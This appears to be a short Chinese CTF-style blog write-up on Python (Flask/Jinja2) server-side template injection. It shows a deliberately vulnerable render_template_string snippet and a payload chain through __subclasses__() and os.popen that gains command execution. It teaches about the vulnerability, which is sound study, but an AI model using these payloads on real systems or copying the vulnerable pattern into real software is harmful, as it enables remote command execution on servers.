因为最近要学习python的注入,所以再次写次记录。

如果不清楚什么是模板注入,请看我上一篇文章

根据提示,是python的模板

 

 

 

python 自动注入脚本 python模板注入_python 自动注入脚本

 

 

什么是模板注入呢?

为了写 html 代码的时候方便,很多网站都会使用模板,先写好一个 html 模板文件,

比如:

```python
def test():
 code = request.args.get('id')
 html = '''
  <h3>%s<h3>
'''%(code) return render_template_string(html) ```

 

这段代码中的 `html` 就是一个简单的模板文件,当开发者想要这个模板对应的样式 时,可以直接用 `render_template_string` 方法来调用这个模板,从而直接把这个样 式渲染出来。

而模板注入,就是指 **将一串指令代替变量传入模板中让它执行** ,以这段代码为 例,我们在传入 `code` 值时,可以用 `{{}}` 符号来包裹一系列代码,以此替代本应是 参数的 `id` : 

'''
 http://..../?id={{代码}}
'''

 

验证漏洞,可以看见1+1被成功执行了,接下来可以想办法拿flag了。

python 自动注入脚本 python模板注入_html_02

查看一下所有的模块,/{{[].__class__.__base__.__subclasses__()}},找到我需要调用的site._Printer('os'),列在72位。

 

python 自动注入脚本 python模板注入_bc_03

 

 

 

通过`__subclasses__()[71].__init__.__globals__['os'].popen('命令 行语句').read()` 来进行命令执行

python 自动注入脚本 python模板注入_python_04

 

 

python 自动注入脚本 python模板注入_python_05